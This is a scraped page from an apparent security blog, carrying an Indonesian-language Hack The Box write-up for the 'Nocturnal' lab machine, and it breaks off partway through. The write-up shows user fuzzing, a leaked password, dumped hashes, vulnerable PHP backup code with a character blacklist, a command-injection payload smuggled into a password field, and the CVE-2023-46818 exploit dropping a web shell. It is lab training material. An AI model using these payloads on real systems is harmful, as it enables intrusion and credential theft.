technology software

corporate

English

You're looking at domain 'hadespwnme.blog' on the .blog top-level domain while skipping any subdomain. The core label 'hadespwnme' covers 10 characters containing three vowels alongside 7 consonants. Segmentation suggests 3 words: hades, pwn, me. Median word length comes out to three characters. No strong language cues emerged from the frequency lists.

html/3f/f4/3ff497fe-d1b2-43a2-b24f-6bbc21f52c4f.html.gz

inline; filename="797e433ab948586e-s.p.dbea232f.woff2"

inline; filename="caa3a2e1cccd8315-s.p.853070df.woff2"

inline; filename="de161955856a921d-s.p.25da2b95.woff2"

inline; filename="turbopack-22dfe0e790c87c0f.js"

script-src 'none'; frame-src 'none'; sandbox;

571e47f767854861c4c286579140f7414a8e8bb19d48c5acce5404716e512ff3

e9786b1305894e4119bb9811a816dac9cf576755596dd989ee15b455749fc35e

c8a9482c1c7abc57c7fa501b673ea603a84f3c9757c7f0a243046b6970310730

56be85ce0830dd1a6c0efaae9a18362af5609c2f79f171b546d8233e712511c1

719ae9d4c10829304a28d678593039c9d6a4b9c648dce1915537ce21f679af45

57f9219b1528c8d2e95c7fec79b816af8de73a177410e2366f502709e9c952db

71016c2be25e15c2f60aea06961ed03b034b91c707c5b74a5e60ff41808f3ac9

d99de2d13fcd760006b70a6d5326ac037bd42c34c612d9db30768cf06d0f5465

7cc0e9cf8161f41dd37033a6d4179813b84a68281c13c028697fbb91ac9f068d

afeee04a0fc17a29de9133cdd86dc52981a0451cf223e3fa60d0d84cb6575d65

ca6fb60ce8c96dcd8d7d669bf7f89ce97126da22c6c3f287cc8477ac7310ecb7

ee6bb81f4e9fc030a39a7c71affc4d1f2b900baa4b4c7af83361388d7c39599b

93268a0726ec1efaa676ae5171f84267e72b7c3d215b6190794cb4069d5f58d8

2dcb2e50c883929aebb7a64a7a22cfe2260d856a3c36a6926c082da19c552b7b

8f1a66bb3132bd59867f5baedeb2e755bfbe69ce10d24878f5514897051fe90d

3814cddd18b2095e01abb745a99e5ada90178e709c09879324c3b623f2d829ea

4ab9218d38eaadf49da5864a7ff14d78ddd6aed7aae5a31f2001c827ca11efbb

2c219a3d29f37d90d18dc06024235a4705296f5240d639fd2b0409b9aea4265b

83c63694965e582f306cb429dc4cbb384f6f98e6da27d4b8802f8289bc2a1eb5

60f153c4f9a7def1ba6ae475a096350f50ba9a999573f86b4e851e461b7658c0

2b741642ed41af986e7cff87a822708c4520ddc52c0f3ee8aba77c1226a4432e

ce95acf9c635c01f6cd8e888a0b48da8b5be3a1e53217b08e48e9ffaf6b9781e

8dafc3ff96bd349cb85723cfba020ab94a1faf1de1c46b4f5cb983ded2dd21b6

dc32192eb2ab8e90d213cee54c64141510d19ca41b4a70b6ea52de438168e482

bd3fef886602ed4f45e07a62505fc62947a6c49a00e72d834655bb281d441ad9

a992c2fdfecd8f5fb48b59dbdde9c60076b9992afdce488cdb5f0443a1ab0ebd

ea3bd574647ca1c87f7b1e0840c9c7afa0616b96f275027bca78785201742bcc

e9e5cd4449b68f34843344d6d39f4f3cc4819189bd2fc22c3c793a8b0f9da548

bc071b74d721accbfe155fd5f32e7ba922bb9db31a67e29725ccb7debe15d758

0bba3ac067554dc45193b65ea4bae4d36151388ffc93df7609c2d41d34924060

3fdd849f7a020eeb18a4def199f7e43264d735cf3bcd93178c90266a03f95608

a9cd4812e40982e304b34d192832d5f97bd81626b42c793fe373c629f3671931

f158da4b9371d073bc1d9cca38044807cb946788682b45acc28a6cadbba77aba

viewport

next-size-adjust

Security, CTF, pentesting write-ups and notes.

description

twitter:card

twitter:title

twitter:description

Abuse Contact

HOSTINGER operations, UAB

hadespwnme.blog

Abuse

Matheus Fernandez Vieira

Vercel, Inc

Joe Haddad

VERCEL-05

requestAnimationFrame(function(){$RT=performance.now()});

$RB=[];$RV=function(a){$RT=performance.now();for(var b=0;b<a.length;b+=2){var c=a[b],e=a[b+1];null!==e.parentNode&&e.parentNode.removeChild(e);var f=c.parentNode;if(f){var g=c.previousSibling,h=0;do{if(c&&8===c.nodeType){var d=c.data;if("/$"===d||"/&"===d)if(0===h)break;else h--;else"$"!==d&&"$?"!==d&&"$~"!==d&&"$!"!==d&&"&"!==d||h++}d=c.nextSibling;f.removeChild(c);c=d}while(c);for(;e.firstChild;)f.insertBefore(e.firstChild,c);g.data="$";g._reactRetry&&requestAnimationFrame(g._reactRetry)}}a.length=0};
$RC=function(a,b){if(b=document.getElementById(b))(a=document.getElementById(a))?(a.previousSibling.data="$~",$RB.push(a,b),2===$RB.length&&("number"!==typeof $RT?requestAnimationFrame($RV.bind(null,$RB)):(a=performance.now(),setTimeout($RV.bind(null,$RB),2300>a&&2E3<a?2300-a:$RT+300-a)))):b.parentNode.removeChild(b)};$RC("B:1","S:1")

document.querySelectorAll('body link[rel="icon"], body link[rel="apple-touch-icon"]').forEach(el => document.head.appendChild(el))

(self.__next_f=self.__next_f||[]).push([0])

self.__next_f.push([1,"1:\"$Sreact.fragment\"\n3:I[39756,[\"/_next/static/chunks/ff1a16fafef87110.js\",\"/_next/static/chunks/7dd66bdf8a7e5707.js\"],\"default\"]\n4:I[37457,[\"/_next/static/chunks/ff1a16fafef87110.js\",\"/_next/static/chunks/7dd66bdf8a7e5707.js\"],\"default\"]\n6:I[97367,[\"/_next/static/chunks/ff1a16fafef87110.js\",\"/_next/static/chunks/7dd66bdf8a7e5707.js\"],\"OutletBoundary\"]\n8:I[11533,[\"/_next/static/chunks/ff1a16fafef87110.js\",\"/_next/static/chunks/7dd66bdf8a7e5707.js\"],\"AsyncMetadataOutlet\"]\na:I[97367,[\"/_next/static/chunks/ff1a16fafef87110.js\",\"/_next/static/chunks/7dd66bdf8a7e5707.js\"],\"ViewportBoundary\"]\nc:I[97367,[\"/_next/static/chunks/ff1a16fafef87110.js\",\"/_next/static/chunks/7dd66bdf8a7e5707.js\"],\"MetadataBoundary\"]\nd:\"$Sreact.suspense\"\nf:I[68027,[\"/_next/static/chunks/2b0bd647e0e654a7.js\",\"/_next/static/chunks/68ff03f0903056dc.js\"],\"default\"]\n10:I[11414,[\"/_next/static/chunks/2b0bd647e0e654a7.js\",\"/_next/static/chunks/68ff03f0903056dc.js\"],\"default\"]\n11:I[62319,[\"/_next/static/chunks/2b0bd647e0e654a7.js\",\"/_next/static/chunks/68ff03f0903056dc.js\"],\"default\"]\n12:I[71691,[\"/_next/static/chunks/2b0bd647e0e654a7.js\",\"/_next/static/chunks/68ff03f0903056dc.js\"],\"default\"]\n13:I[5500,[\"/_next/static/chunks/2b0bd647e0e654a7.js\",\"/_next/static/chunks/68ff03f0903056dc.js\",\"/_next/static/chunks/a647bf6709aca9b5.js\"],\"Image\"]\n14:I[19393,[\"/_next/static/chunks/2b0bd647e0e654a7.js\",\"/_next/static/chunks/68ff03f0903056dc.js\",\"/_next/static/chunks/a647bf6709aca9b5.js\"],\"default\"]\n15:I[92253,[\"/_next/static/chunks/2b0bd647e0e654a7.js\",\"/_next/static/chunks/68ff03f0903056dc.js\",\"/_next/static/chunks/a647bf6709aca9b5.js\"],\"default\"]\n33:I[27201,[\"/_next/static/chunks/ff1a16fafef87110.js\",\"/_next/static/chunks/7dd66bdf8a7e5707.js\"],\"IconMark\"]\n:HL[\"/_next/static/chunks/904bc5b674fb61c2.css\",\"style\"]\n:HL[\"/_next/static/media/797e433ab948586e-s.p.dbea232f.woff2\",\"font\",{\"crossOrigin\":\"\",\"type\":\"font/woff2\"}]\n:HL[\"/_next/static/media/caa3a2e1cccd8315-s.p.853070df.woff2\",\"font\",{\"crossOrigin\":\"\",\"type\":\"font/woff2\"}]\n:HL[\"/_next/static/media/de1619558"])

self.__next_f.push([1,"56a921d-s.p.25da2b95.woff2\",\"font\",{\"crossOrigin\":\"\",\"type\":\"font/woff2\"}]\n"])

self.__next_f.push([1,"0:{\"P\":null,\"b\":\"uLfgnOMuRuXgPpJlav8SC\",\"p\":\"\",\"c\":[\"\",\"posts\",\"2025-04-13-nocturnal\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"posts\",{\"children\":[[\"slug\",\"2025-04-13-nocturnal\",\"d\"],{\"children\":[\"__PAGE__\",{}]}]}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/chunks/904bc5b674fb61c2.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-0\",{\"src\":\"/_next/static/chunks/2b0bd647e0e654a7.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-1\",{\"src\":\"/_next/static/chunks/68ff03f0903056dc.js\",\"async\":true,\"nonce\":\"$undefined\"}]],\"$L2\"]}],{\"children\":[\"posts\",[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"$L3\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L4\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":\"$undefined\",\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]]}],{\"children\":[[\"slug\",\"2025-04-13-nocturnal\",\"d\"],[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"$L3\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L4\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":\"$undefined\",\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]]}],{\"children\":[\"__PAGE__\",[\"$\",\"$1\",\"c\",{\"children\":[\"$L5\",[[\"$\",\"script\",\"script-0\",{\"src\":\"/_next/static/chunks/a647bf6709aca9b5.js\",\"async\":true,\"nonce\":\"$undefined\"}]],[\"$\",\"$L6\",null,{\"children\":[\"$L7\",[\"$\",\"$L8\",null,{\"promise\":\"$@9\"}]]}]]}],{},null,false]},null,false]},null,false]},null,false],[\"$\",\"$1\",\"h\",{\"children\":[null,[[\"$\",\"$La\",null,{\"children\":\"$Lb\"}],[\"$\",\"meta\",null,{\"name\":\"next-size-adjust\",\"content\":\"\"}]],[\"$\",\"$Lc\",null,{\"children\":[\"$\",\"div\",null,{\"hidden\":true,\"children\":[\"$\",\"$d\",null,{\"fallback\":null,\"children\":\"$Le\"}]}]}]]}],false]],\"m\":\"$undefined\",\"G\":[\"$f\",[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/chunks/904bc5b674fb61c2.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]]],\"s\":false,\"S\":false}\n"])

self.__next_f.push([1,"2:[\"$\",\"html\",null,{\"lang\":\"id\",\"suppressHydrationWarning\":true,\"children\":[\"$\",\"body\",null,{\"className\":\"geist_a71539c9-module__T19VSG__variable geist_mono_8d43a2aa-module__8Li5zG__variable antialiased\",\"children\":[\"$\",\"$L10\",null,{\"children\":[[\"$\",\"$L11\",null,{}],[\"$\",\"main\",null,{\"className\":\"mx-auto max-w-5xl px-4 pt-20 pb-10 min-h-[70vh]\",\"children\":[\"$\",\"$L3\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L4\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}\"}}],[\"$\",\"h1\",null,{\"className\":\"next-error-h1\",\"style\":{\"display\":\"inline-block\",\"margin\":\"0 20px 0 0\",\"padding\":\"0 23px 0 0\",\"fontSize\":24,\"fontWeight\":500,\"verticalAlign\":\"top\",\"lineHeight\":\"49px\"},\"children\":404}],[\"$\",\"div\",null,{\"style\":{\"display\":\"inline-block\"},\"children\":[\"$\",\"h2\",null,{\"style\":{\"fontSize\":14,\"fontWeight\":400,\"lineHeight\":\"49px\",\"margin\":0},\"children\":\"This page could not be found.\"}]}]]}]}]],[]],\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]}],[\"$\",\"footer\",null,{\"className\":\"border-t border-black/5 dark:border-white/10 mt-16\",\"data-aos\":\"fade-up\",\"children\":[\"$\",\"div\",null,{\"className\":\"mx-auto max-w-5xl px-4 py-10 text-sm text-foreground/80 space-y-3\",\"children\":[[\"$\",\"p\",null,{\"className\":\"italic text-center\",\"children\":\"hacking is art of exploitation\"}],[\"$\",\"p\",null,{\"className\":\"text-center\",\"children\":[\"© \",2026,\" hadespwn.me\"]}]]}]}],[\"$\",\"$L12\",null,{}]]}]}]}]\n"])

self.__next_f.push([1,"$ ffuf -u 'http://nocturnal.htb/view.php?username=FUZZ\u0026file=file.pdf' -w ../Desktop/fuzzDicts/userNameDict/user.txt -H 'Cookie: PHPSESSID=3if78g1uefu5ld57otpvgst9k5'  -fs 2985\n\n        /'___\\  /'___\\           /'___\\       \n       /\\ \\__/ /\\ \\__/  __  __  /\\ \\__/       \n       \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\      \n        \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/      \n         \\ \\_\\   \\ \\_\\  \\ \\____/  \\ \\_\\       \n          \\/_/    \\/_/   \\/___/    \\/_/       \n\n       v2.1.0-dev\n________________________________________________\n\n :: Method           : GET\n :: URL              : http://nocturnal.htb/view.php?username=FUZZ\u0026file=2023.xlsx\n :: Wordlist         : FUZZ: /home/hadespwnme/Desktop/fuzzDicts/userNameDict/user.txt\n :: Header           : Cookie: PHPSESSID=k381a2of6lftuk6gnab5f5sapa\n :: Follow redirects : false\n :: Calibration      : false\n :: Timeout          : 10\n :: Threads          : 40\n :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500\n :: Filter           : Response size: 2985\n________________________________________________\n\nadmin                   [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 72ms]\namanda                  [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 70ms]\ntobias                  [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 69ms]\n:: Progress: [8886/8886] :: Job [1/1] :: 335 req/sec :: Duration: [0:00:17] :: Errors: 0 ::\n"])

self.__next_f.push([1,"5:[\"$\",\"article\",null,{\"className\":\"space-y-6\",\"children\":[[\"$\",\"header\",null,{\"children\":[[\"$\",\"div\",null,{\"className\":\"flex items-start justify-between gap-3\",\"data-aos\":\"fade-up\",\"children\":[[\"$\",\"h1\",null,{\"className\":\"text-3xl font-bold tracking-tight\",\"children\":\"HTB Writeup – Nocturnal\"}],null]}],[\"$\",\"div\",null,{\"className\":\"text-sm text-foreground/60 mt-1\",\"data-aos\":\"fade-up\",\"data-aos-delay\":\"50\",\"children\":[\"2025-04-13\",\" · \",948,\" \",\"kata\",\" · \",5,\" \",\"menit\"]}],[\"$\",\"div\",null,{\"className\":\"mt-3\",\"data-aos\":\"fade-up\",\"data-aos-delay\":\"100\",\"children\":[\"$\",\"div\",null,{\"className\":\"flex items-center gap-4 border border-black/20 dark:border-white/20 rounded-lg p-4 shadow-sm hover:shadow-md transition dark:ring-1 dark:ring-white/15 dark:shadow-[0_8px_24px_rgba(0,0,0,0.6)]\",\"data-aos\":\"fade-up\",\"children\":[[\"$\",\"$L13\",null,{\"src\":\"/assets/avatar.jpg\",\"alt\":\"Author avatar\",\"width\":48,\"height\":48,\"className\":\"rounded-full\"}],[\"$\",\"div\",null,{\"children\":[[\"$\",\"div\",null,{\"className\":\"font-semibold\",\"children\":\"HADES\"}],[\"$\",\"div\",null,{\"className\":\"text-sm text-foreground/70\",\"children\":\"Cyber Security Enthusiast | CTF Player | Pentester\"}]]}]]}]}]]}],[\"$\",\"div\",null,{\"className\":\"grid grid-cols-1 lg:grid-cols-[1fr_280px] gap-8\",\"children\":[[\"$\",\"div\",null,{\"className\":\"lg:hidden\",\"data-aos\":\"fade-up\",\"data-aos-delay\":\"140\",\"children\":[\"$\",\"$L14\",null,{\"containerId\":\"post-content\",\"variant\":\"dropdown\"}]}],[\"$\",\"div\",null,{\"id\":\"post-content\",\"className\":\"prose\",\"data-aos\":\"fade-up\",\"data-aos-delay\":\"150\",\"children\":[[\"$\",\"center\",null,{\"children\":[\"$\",\"img\",null,{\"src\":\"/assets/machine/nocturnal/nocturnal.jpg\",\"className\":\"img-post\"}]}],\"\\n\",[\"$\",\"h1\",null,{\"id\":\"recon\",\"children\":[\"$\",\"a\",null,{\"href\":\"#recon\",\"children\":\"RECON\"}]}],\"\\n\",[\"$\",\"h2\",null,{\"id\":\"port-scan\",\"children\":[\"$\",\"a\",null,{\"href\":\"#port-scan\",\"children\":\"Port Scan\"}]}],\"\\n\",[\"$\",\"$L15\",null,{\"children\":[\"$\",\"code\",null,{\"className\":\"language-bash\",\"children\":\"PORT   STATE SERVICE VERSION\\n22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)\\n| ssh-hostkey: \\n|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)\\n|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)\\n|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)\\n80/tcp open  http    nginx 1.18.0 (Ubuntu)\\n| http-cookie-flags: \\n|   /: \\n|     PHPSESSID: \\n|_      httponly flag not set\\n|_http-server-header: nginx/1.18.0 (Ubuntu)\\n|_http-title: Welcome to Nocturnal\\nService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\\n\"}]}],\"\\n\",[\"$\",\"h2\",null,{\"id\":\"web\",\"children\":[\"$\",\"a\",null,{\"href\":\"#web\",\"children\":\"Web\"}]}],\"\\n\",[\"$\",\"center\",null,{\"children\":[\"$\",\"img\",null,{\"src\":\"/assets/machine/nocturnal/webnoc.jpg\",\"className\":\"img-post\"}]}],\"\\n\",[\"$\",\"p\",null,{\"children\":\"Disini kita register lalu upload sembarangan file, dan lihat intercept burpsuite.\"}],\"\\n\",[\"$\",\"$L15\",null,{\"children\":[\"$\",\"code\",null,{\"className\":\"language-bash\",\"children\":\"GET /view.php?username=hades\u0026file=file.pdf HTTP/1.1\\nHost: nocturnal.htb\\nAccept-Language: en-US,en;q=0.9\\nUpgrade-Insecure-Requests: 1\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\\nReferer: http://nocturnal.htb/dashboard.php\\nAccept-Encoding: gzip, deflate, br\\nCookie: PHPSESSID=3if78g1uefu5ld57otpvgst9k5\\nConnection: keep-alive\\n\"}]}],\"\\n\",[\"$\",\"p\",null,{\"children\":\"Lihat di endpoint nya. Lalu kita Fuzz untuk melihat user apa saja yang ada.\"}],\"\\n\",[\"$\",\"h1\",null,{\"id\":\"user\",\"children\":[\"$\",\"a\",null,{\"href\":\"#user\",\"children\":\"User\"}]}],\"\\n\",[\"$\",\"$L15\",null,{\"children\":[\"$\",\"code\",null,{\"className\":\"language-bash\",\"children\":\"$16\"}]}],\"\\n\",\"$L17\",\"\\n\",\"$L18\",\"\\n\",\"$L19\",\"\\n\",\"$L1a\",\"\\n\",\"$L1b\",\"\\n\",\"$L1c\",\"\\n\",\"$L1d\",\"\\n\",\"$L1e\",\"\\n\",\"$L1f\",\"\\n\",\"$L20\",\"\\n\",\"$L21\",\"\\n\",\"$L22\",\"\\n\",\"$L23\",\"\\n\",\"$L24\",\"\\n\",\"$L25\",\"\\n\",\"$L26\",\"\\n\",\"$L27\",\"\\n\",\"$L28\",\"\\n\",\"$L29\",\"\\n\",\"$L2a\",\"\\n\",\"$L2b\",\"\\n\",\"$L2c\",\"\\n\",\"$L2d\",\"\\n\",\"$L2e\",\"\\n\",\"$L2f\"]}],\"$L30\"]}],\"$L31\"]}]\n"])

self.__next_f.push([1,"17:[\"$\",\"p\",null,{\"children\":[\"Kita cek satu persatu ternyata \",[\"$\",\"strong\",null,{\"children\":\"admin\"}],\" dan \",[\"$\",\"strong\",null,{\"children\":\"tobias\"}],\" tidak memiliki file, sedangkan user dengan nama \",[\"$\",\"strong\",null,{\"children\":\"amanda\"}],\" terdapat file yang bernama \",[\"$\",\"strong\",null,{\"children\":\"privacy.odt\"}],\".\"]}]\n"])

self.__next_f.push([1,"18:[\"$\",\"$L15\",null,{\"children\":[\"$\",\"code\",null,{\"children\":\"Dear Amanda,\\nNocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.\\nThe file has been created and provided by Nocturnal's IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.\\nRemember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.\\n\\nYours sincerely,\\nNocturnal's IT team\\n\"}]}]\n"])

self.__next_f.push([1,"19:[\"$\",\"p\",null,{\"children\":\"Kita bisa login ke backend menggunakan kredensial yang tersedia di surat.\"}]\n1a:[\"$\",\"p\",null,{\"children\":[\"Buat backup menggunakan password tadi, lalu kita bisa lihat ada \",[\"$\",\"strong\",null,{\"children\":\"nocturnal_database.db\"}],\".\"]}]\n1b:[\"$\",\"p\",null,{\"children\":[\"Download lalu Unzip, dan gunakan \",[\"$\",\"em\",null,{\"children\":\"Amanda\"}],\" password.\"]}]\n1c:[\"$\",\"$L15\",null,{\"children\":[\"$\",\"code\",null,{\"className\":\"language-sql\",\"children\":\"(1,'admin','d725aeba143f575736b07e045d8ceebb');\\n(2,'amanda','df8b20aa0c935023f99ea58358fb63c4');\\n(4,'tobias','55c82b1ccd55ab219b3b109b07d5061d');\\n(6,'kavi','f38cde1654b39fea2bd4f72f1ae4cdda');\\n(7,'e0Al5','101ad4543a96a7fd84908fd0d802e7db');\\n\"}]}]\n1d:[\"$\",\"p\",null,{\"children\":[\"Crack hash tobias (karena tadi kita sudah tahu ada user apa saja, jadi coba terlebih dahulu, atau bisa gunakan md5 crack untuk langsung crack semua hash) diatas menggunakan \",[\"$\",\"em\",null,{\"children\":\"john\"}],\".\"]}]\n1e:[\"$\",\"p\",null,{\"children\":[\"Login ssh dengan kredensial yang sudah kita dapat. Dan \",[\"$\",\"strong\",null,{\"children\":\"Get The User Flag\"}],\".\"]}]\n1f:[\"$\",\"h2\",null,{\"id\":\"after-update\",\"children\":[\"$\",\"a\",null,{\"href\":\"#after-update\",\"children\":\"After Update\"}]}]\n20:[\"$\",\"p\",null,{\"children\":[\"Setelah update, file database gak ada lagi, jadi kita bisa review code \",[\"$\",\"strong\",null,{\"children\":\"admin.php\"}],\".\"]}]\n32:T6e0,"])

self.__next_f.push([1,"function cleanEntry($entry) {\n    $blacklist_chars = [';', '\u0026', '|', '$', ' ', '`', '{', '}', '\u0026\u0026'];\n\n    foreach ($blacklist_chars as $char) {\n        if (strpos($entry, $char) !== false) {\n            return false; // Malicious input detected\n        }\n    }\n\n    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');\n}\n\n\u003c?php\nif (isset($_POST['backup']) \u0026\u0026 !empty($_POST['password'])) {\n    $password = cleanEntry($_POST['password']);\n    $backupFile = \"backups/backup_\" . date('Y-m-d') . \".zip\";\n\n    if ($password === false) {\n        echo \"\u003cdiv class='error-message'\u003eError: Try another password.\u003c/div\u003e\";\n    } else {\n        $logFile = '/tmp/backup_' . uniqid() . '.log';\n       \n        $command = \"zip -x './backups/*' -r -P \" . $password . \" \" . $backupFile . \" .  \u003e \" . $logFile . \" 2\u003e\u00261 \u0026\";\n        \n        $descriptor_spec = [\n            0 =\u003e [\"pipe\", \"r\"], // stdin\n            1 =\u003e [\"file\", $logFile, \"w\"], // stdout\n            2 =\u003e [\"file\", $logFile, \"w\"], // stderr\n        ];\n\n        $process = proc_open($command, $descriptor_spec, $pipes);\n        if (is_resource($process)) {\n            proc_close($process);\n        }\n\n        sleep(2);\n\n        $logContents = file_get_contents($logFile);\n        if (strpos($logContents, 'zip error') === false) {\n            echo \"\u003cdiv class='backup-success'\u003e\";\n            echo \"\u003cp\u003eBackup created successfully.\u003c/p\u003e\";\n            echo \"\u003ca href='\"a . htmlspecialchars($backupFile) . \"' class='download-button' download\u003eDownload Backup\u003c/a\u003e\";\n            echo \"\u003ch3\u003eOutput:\u003c/h3\u003e\u003cpre\u003e\" . htmlspecialchars($logContents) . \"\u003c/pre\u003e\";\n            echo \"\u003c/div\u003e\";\n        } else {\n            echo \"\u003cdiv class='error-message'\u003eError creating the backup.\u003c/div\u003e\";\n        }\n\n        unlink($logFile);\n    }\n}\n?\u003e\n"])

self.__next_f.push([1,"21:[\"$\",\"$L15\",null,{\"children\":[\"$\",\"code\",null,{\"className\":\"language-php\",\"children\":\"$32\"}]}]\n22:[\"$\",\"p\",null,{\"children\":\"Dan kita bisa gunakan bypass dengan teknik url encoding.\"}]\n"])

self.__next_f.push([1,"23:[\"$\",\"$L15\",null,{\"children\":[\"$\",\"code\",null,{\"children\":\"POST /admin.php?view=dashboard.php HTTP/1.1\\nHost: nocturnal.htb\\nContent-Length: 108\\nCache-Control: max-age=0\\nAccept-Language: en-US,en;q=0.9\\nOrigin: http://nocturnal.htb\\nContent-Type: application/x-www-form-urlencoded\\nUpgrade-Insecure-Requests: 1\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\\nReferer: http://nocturnal.htb/admin.php?view=dashboard.php\\nAccept-Encoding: gzip, deflate, br\\nCookie: PHPSESSID=eijjmosqk4m5ggpfg3fa7uosru\\nConnection: keep-alive\\n\\npassword=%0Abash%09-c%09\\\"whoami\\\"%0A\u0026backup=\\n\"}]}]\n"])

self.__next_f.push([1,"24:[\"$\",\"p\",null,{\"children\":[\"Dari sini kita bisa upload \",[\"$\",\"em\",null,{\"children\":\"revshell\"}],\" dan mendapatkan file database.\"]}]\n25:[\"$\",\"h1\",null,{\"id\":\"root\",\"children\":[\"$\",\"a\",null,{\"href\":\"#root\",\"children\":\"Root\"}]}]\n26:[\"$\",\"p\",null,{\"children\":\"Cek port yang terbuka.\"}]\n27:[\"$\",\"$L15\",null,{\"children\":[\"$\",\"code\",null,{\"className\":\"language-bash\",\"children\":\"tobias@nocturnal:~$ netstat -tupln\\n(Not all processes could be identified, non-owned process info\\n will not be shown, you would have to be root to see it all.)\\nActive Internet connections (only servers)\\nProto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    \\ntcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   \\ntcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                  \\n\"}]}]\n28:[\"$\",\"p\",null,{\"children\":\"Terdapat port 8080 yang dapat kita tunnel.\"}]\n29:[\"$\",\"p\",null,{\"children\":\"Dan kita mendapatkan ISPConfig service.\"}]\n2a:[\"$\",\"center\",null,{\"children\":[\"$\",\"img\",null,{\"src\":\"/assets/machine/nocturnal/ispconfig.png\",\"className\":\"img-post\"}]}]\n2b:[\"$\",\"h2\",null,{\"id\":\"cve-2023-46818\",\"children\":[\"$\",\"a\",null,{\"href\":\"#cve-2023-46818\",\"children\":\"CVE-2023-46818\"}]}]\n2c:[\"$\",\"p\",null,{\"children\":[\"Kita bisa login menggunakan kredensial Tobias. Di panel \",[\"$\",\"em\",null,{\"children\":\"Help\"}],\" kita bisa tau kalau versinya adalah \",[\"$\",\"strong\",null,{\"children\":\"3.2\"}],\".\"]}]\n2d:[\"$\",\"p\",null,{\"children\":[\"Setelah mencari kita dapat menggunakan POC \",[\"$\",\"a\",null,{\"href\":\"https://github.com/bipbopbup/CVE-2023-46818-python-exploit\",\"children\":\"CVE-2023-46818\"}]]}]\n2e:[\"$\",\"$L15\",null,{\"children\":[\"$\",\"code\",null,{\"className\":\"language-bash\",\"children\":\"$$ python3 exploit.py http://127.0.0.1:8080 admin slowmotionapocalypse\\n\\n[+] Logging in as 'admin'\\n[+] Login successful.\\n[+] Injecting PHP shell...\\n[+] Shell dropped at 'sh.php'\\n[+] Web shell ready. Type commands below. Ctrl+C or 'exit' to quit.\\n\\nispconf"])

